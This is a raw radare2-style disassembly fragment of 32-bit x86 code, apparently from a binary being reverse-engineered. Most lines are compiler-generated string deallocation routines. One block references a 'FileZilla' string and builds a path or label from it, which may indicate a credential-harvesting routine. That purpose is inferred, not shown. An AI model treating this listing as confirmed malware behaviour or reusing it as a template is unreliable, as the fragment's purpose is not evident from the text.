cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x270], 0xf
mov byte [ebp - 0x284], 0
cmp edx, 0x10
jb 0x100a1130
mov ecx, dword [ebp - 0x1d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1126
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x258]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
cmp edx, 0x10
jb 0x100a1185
mov ecx, dword [ebp - 0x26c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a117b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x240]
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 0xf
mov byte [ebp - 0x26c], 0
cmp edx, 0x10
jb 0x100a11da
mov ecx, dword [ebp - 0x254]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a11d0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0xf
mov byte [ebp - 0x254], 0
cmp edx, 0x10
jb 0x100a122f
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1225
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp edx, 0x10
jb 0x100a1284
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a127a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
cmp edx, 0x10
jb 0x100a12d9
mov ecx, dword [ebp - 0x224]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a12cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
cmp edx, 0x10
jb 0x100a132e
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1324
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x2a0]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a1383
mov ecx, dword [ebp - 0x2b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1379
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x170]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x158]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x188]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x140]
call fcn.100af160
mov edi, dword [ebp - 0x1bc]
inc edi
mov dword [ebp - 0x1bc], edi
jmp 0x100a13e0
mov edi, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a141a
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1410
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18b1
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0x20c]
push ebx
call fcn.100c77b8
add esp, 4
test eax, eax
je 0x1009ff32
push ebx
call fcn.100c4bbb
add esp, 4
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a16bf
cmp byte [eax], 0x30
jne 0x100a16bf
mov edx, edi
lea ecx, [ebp - 0x2b4]
call fcn.10082c90
push 0xb
push str.FileZilla__
push ecx
mov ecx, eax
call fcn.100b3780
push 0x100f738c
lea ecx, [ebp - 0x1d8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
push 0x100f7388
lea ecx, [ebp - 0x1f0]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
mov ebx, dword [ebp - 0x1c0]
lea edx, [ebp - 0x1b8]
push ebx
lea ecx, [ebp - 0x208]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100af660
add esp, 4
mov ecx, ebx
push eax
call fcn.100ae910
mov edx, dword [ebp - 0x1f4]
cmp edx, 0x10
jb 0x100a1569
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a155f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18bb
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp edx, 0x10
jb 0x100a15be
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a15b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18bb
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a1613
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1609
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18bb
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c4]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a1668
mov ecx, dword [ebp - 0x1d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a165e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18bb
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x2a0]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
cmp edx, 0x10
jb 0x100a16c5
mov ecx, dword [ebp - 0x2b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a16b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18bb
push edx
push ecx
call fcn.100baf94
add esp, 8
jmp 0x100a16c5
mov ebx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x100a16ff
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a16f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x100a1754
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a174a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x100a17a9
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a179f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x100a17fe
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a17f4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x100a1853
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1849
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x100a189e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1894
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a18c5
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100af3a0
call fcn.100c79a0
int3